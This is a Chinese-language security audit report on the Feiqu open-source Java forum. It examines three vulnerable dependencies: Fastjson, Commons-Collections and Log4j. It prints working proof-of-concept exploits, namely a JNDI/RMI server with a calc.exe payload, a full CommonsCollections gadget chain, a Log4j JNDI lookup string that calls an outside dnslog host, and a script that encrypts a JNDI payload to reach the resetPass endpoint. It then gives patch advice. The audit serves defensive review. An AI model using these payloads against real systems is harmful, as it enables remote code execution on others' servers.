飞趣开源BBS代码审计-JAVA
字数 1514 2025-08-29 08:32:18
飞趣开源BBS代码审计报告(JAVA版)
1. 环境部署
飞趣BBS是一个基于SpringBoot搭建的开源论坛系统,源码可在Gitee获取。根据README.md文件,可以将其导入IDEA进行环境搭建。
项目目录结构:
- 主要功能集中在
feiqu-front模块,包含所有控制器 - 其他目录多为辅助性功能模块
2. 第三方组件漏洞审计
2.1 Fastjson反序列化漏洞
漏洞版本:1.2.28
漏洞验证:
- 创建三个测试文件验证漏洞可利用性:
JNDIPayload.java:
import java.io.IOException;
public class JNDIPayload {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {}
}
}
JNDIServer.java:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "JNDIPayload", "http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
JNDIClient.java:
import com.alibaba.fastjson.JSON;
public class JNDIClient {
public static void main(String[] args){
String text = "{\n" +
" \"a\": {\n" +
" \"@type\": \"java.lang.Class\", \n" +
" \"val\": \"com.sun.rowset.JdbcRowSetImpl\"\n" +
" }, \n" +
" \"b\": {\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +
" \"dataSourceName\": \"rmi://127.0.0.1:1099/Exploit\", \n" +
" \"autoCommit\": true\n" +
" }\n" +
"}";
JSON.parseObject(text);
}
}
- 验证步骤:
- 开启Python HTTP服务:
python -m http.server 8000 - 启动JNDIServer
- 运行JNDIClient
- 成功触发计算器弹出,证明漏洞存在
- 开启Python HTTP服务:
实际利用分析:
- 查找路由
/u/{uid}/home,发现存在JSON.parseObject调用 - 但
redisString.get()返回数据为null(key为thought_top_list) - 发现置顶"想法"会被设置到redis的
thought_top_list键 - 即使获取到redis值,内容也不可控,无法利用
2.2 Commons-Collections反序列化漏洞
漏洞版本:3.2.1
漏洞验证:
CcSerial.java:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CcSerial {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry mapEntry = new TiedMapEntry(outerMap, null);
Map expMap = new HashMap();
expMap.put(mapEntry, null);
setFieldValue(chainedTransformer, "iTransformers", transformers);
innerMap.clear();
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(barr);
out.writeObject(expMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
in.readObject();
in.close();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception {
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
实际利用分析:
- 项目中仅发现一处
readObject调用 - 但无调用该方法的地方,无法利用
2.3 Log4j JNDI注入漏洞
漏洞版本:2.11.2
漏洞验证:
Log4jTest.java:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(Log4jTest.class);
logger.error("${jndi:ldap://rzepki.dnslog.cn}");
}
}
实际利用分析:
-
在
UserController.java中找到可利用点:- 方法:
resetPass - 关键参数:
key、password、verifyCode key会被解密后赋值给username
- 方法:
-
加密流程分析:
key首先被Base64解码- 然后使用DES解密(密钥为
cwd22) - 解密后赋值给
username
-
漏洞利用步骤:
- 使用
encryptString方法加密Log4j的Exp - 本地开启JNDI注入工具(如JNDI-Injection-Exploit)
- 生成恶意key的脚本:
- 使用
public static void main(String[] args) throws Exception {
Key key = null;
String keyStr = "cwd22";
String desKey = Base64.encode(keyStr.getBytes("UTF-8"));
DESKeySpec objDesKeySpec = new DESKeySpec(desKey.getBytes("UTF-8"));
SecretKeyFactory objKeyFactory = SecretKeyFactory.getInstance("DES");
key = objKeyFactory.generateSecret(objDesKeySpec);
String str = "${jndi:ldap://127.0.0.1:1389/riv58u}";
byte[] bytes = str.getBytes();
Cipher cipher = Cipher.getInstance("DES");
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptStrBytes = cipher.doFinal(bytes);
String s = Base64.encode(encryptStrBytes);
System.out.println(s);
}
- 构造请求参数提交,成功触发漏洞
3. 漏洞修复建议
-
Fastjson:
- 升级到最新安全版本(≥1.2.83)
- 使用
SafeMode或配置ParserConfig.getGlobalInstance().setSafeMode(true)
-
Commons-Collections:
- 升级到3.2.2或更高版本
- 使用
SerializationKiller等防护工具
-
Log4j:
- 升级到2.17.1或更高版本
- 设置JVM参数:
-Dlog4j2.formatMsgNoLookups=true - 移除
JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
4. 总结
本次审计发现了三个潜在的安全漏洞:
- Fastjson 1.2.28反序列化漏洞 - 实际利用受限
- Commons-Collections 3.2.1反序列化漏洞 - 无直接利用点
- Log4j 2.11.2 JNDI注入漏洞 - 可实际利用
最严重的漏洞是Log4j的JNDI注入,可通过UserController#resetPass方法触发,建议优先修复。